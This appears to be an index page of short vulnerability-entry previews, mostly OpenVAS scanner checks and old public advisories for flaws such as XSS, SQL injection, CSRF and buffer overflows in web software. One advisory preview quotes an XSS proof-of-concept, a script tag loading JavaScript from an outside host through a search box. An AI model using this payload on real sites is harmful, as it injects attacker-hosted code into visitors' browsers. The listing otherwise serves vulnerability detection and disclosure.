Xerver HTTP Server Cross Site Scripting Vulnerability

This host is running Xerver HTTP Server and is prone to Cross Site Scripting vulnerability OpenVAS Vulnerability Test $Id: gbxerverhttpserverxssvuln.nasl 4970 2017-01-09 15:00:59Z teissa $ Xerver HTTP Server Cross Site Scripting Vulnerability Authors: Antu Sanadi Copyright: Copyright c 2009...

Uebimiau Webmail Information Disclosure Vulnerability

This host is running Uebimiau Webmail and is prone to Information Disclosure Vulnerability. OpenVAS Vulnerability Test $Id: secpoduebimiauwebmailinfodiscvuln.nasl 5148 2017-01-31 13:16:55Z teissa $ Uebimiau Webmail Information Disclosure Vulnerability Authors: Antu Sanadi Copyright: Copyright c...

Uebimiau Webmail Information Disclosure Vulnerability

Uebimiau Webmail is prone to an information disclosure vulnerability. SPDX-FileCopyrightText: 2009 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

WoltLab Burning Board Cross-Site Request Forgery Vulnerability

This host is running WoltLab Burning Board and is prone to Cross-Site Request Forgery vulnerability. OpenVAS Vulnerability Test $Id: secpodwoltlabburningboardcsrfvuln.nasl 5148 2017-01-31 13:16:55Z teissa $ WoltLab Burning Board Cross-Site Request Forgery Vulnerability Authors: Nikita MR Copyrigh...

PHP Address Book Multiple SQL Injection Vulnerabilities

This host is running PHP Address Book and is prone to SQL Injection vulnerability. OpenVAS Vulnerability Test $Id: secpodphpaddressbooksqlinjvuln.nasl 5122 2017-01-27 12:16:00Z teissa $ PHP Address Book Multiple SQL Injection Vulnerabilities Authors: Antu Sanadi Copyright: Copyright c 2009 SecPod...

PHP Address Book Multiple SQL Injection Vulnerabilities

PHP Address Book is prone to an SQL injection SQLi vulnerability. SPDX-FileCopyrightText: 2009 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

OCS Inventory NG < 1.02.1 Information Disclosure Vulnerability - Active Check

OCS Inventory NG is prone to an information disclosure vulnerability. SPDX-FileCopyrightText: 2009 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only CPE =...

Vanilla <= 1.1.7 'RequestName' XSS Vulnerability

Lussumo Vanilla is prone to a cross-site scripting XSS vulnerability. SPDX-FileCopyrightText: 2009 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only CPE =...

PowerZip Stack Buffer Overflow Vulnerability

This host is running PowerZip and is prone to Stack Buffer Overflow Vulnerability. OpenVAS Vulnerability Test $Id: secpodpowerzipbofvuln.nasl 5122 2017-01-27 12:16:00Z teissa $ PowerZip Stack Buffer Overflow Vulnerability Authors: Sujit Ghosal Copyright: Copyright c 2009 SecPod,...

EMC AlphaStor Device Manager robotd RCE

The AlphaStor Device Manager application running on the remote host is affected by a remote command execution vulnerability in robotd due to improper sanitization of packet string arguments before using them in a call to the 'system' function. An unauthenticated, remote attacker can exploit this,...

nBill component for Joomla! 'cid' Parameter SQLi

The version of the nBill also known as netinvoice component for Joomla! and Mambo running on the remote host is affected by a SQL injection vulnerability due to improper sanitization of user-supplied input to the 'cid' parameter before using it to construct database queries. Regardless of the PHP...

SimpleFAQ Component for Joomla! 'aid' Parameter SQLi

The version of the SimpleFAQ component for Joomla! and Mambo running on the remote host is affected by a SQL injection vulnerability in the simplephp.php script due to improper sanitization of user-supplied input to the 'aid' parameter before using it to construct database queries in the...

MP3 Search/Archive v1.2 - XSS

MP3 Search/Archive v1.2 Homepage: http://www.bloodys.com Affected files: Search input box. index.php Data is not properally sanatized before its generated. For PoC try putting the code below in the search box: SCRIPT SRC=http://youfucktard.com/xss.js/SCRIPT Screenshots:...

MyBB < 1.01 function_upload.php SQLi

The version of MyBB installed on the remote host is affected by a SQL injection vulnerability due to improper sanitization of user-supplied input to the to the file extension of an uploaded file. A remote, unauthenticated attacker can exploit this issue to manipulate SQL queries, resulting in the...

phpx_359_xpl.txt

PhpX login bypass - remote command/code execution software: site: http://www.phpx.org/ description: "PHPX is a constantly evolving and changing Content Management System CMS.." vulnerable code in auth.inc.php at lines 22-26: ... if !isset$POSTusername header"Location: login.php"; $password =...

LogicBill 1.0 SQL inj.

LogicBill 1.0 SQL inj. Vuln. dicovered by : r0t Date: 25 nov. 2005 orginal advisory:http://pridels.blogspot.com/2005/11/logicbill-10-sql-inj.html Vendor:http://www.logicbill.com affected version: 1.0 and prior Product description: LogicBill is a fully featured web based billing application. It...

ICECast crafted URL DoS

The remote server runs a version of ICECast, an open source streaming audio server, which is older than version 1.3.11. This version is affected by a remote denial of service because Icecast server does not properly sanitize user-supplied input. An remote attacker could send specially crafted URL...

MediaWiki < 1.3.17 / 1.4.11 / 1.5.0 Multiple Vulnerabilities

According to its version number, the version of MediaWiki running on the remote host is affected by multiple vulnerabilities : - A denial of service vulnerability exists due to an unspecified flaw in 'edit submission handling' that causes the corruption of the previous submission. A remote attack...

MDaemon 8.0 - Content Filter Directory Traversal

MDaemon 8.0 - Content Filter Directory Traversal source: https://www.securityfocus.com/bid/14400/info MDaemon server is prone to a directory traversal vulnerability due to improper sanitization of user input. Failure to sanitize the filename and path may result in compromise of the file system...

Software602 602 Lan Suite 2004 2004.0.04.1221 - Arbitrary File Upload

source: https://www.securityfocus.com/bid/12495/info 602 Lan Suite 2004 is reportedly affected by a vulnerability regarding the uploading of file attachments. This issue is due to the application failing to properly sanitize the names of file attachments before upload. A malicious user could...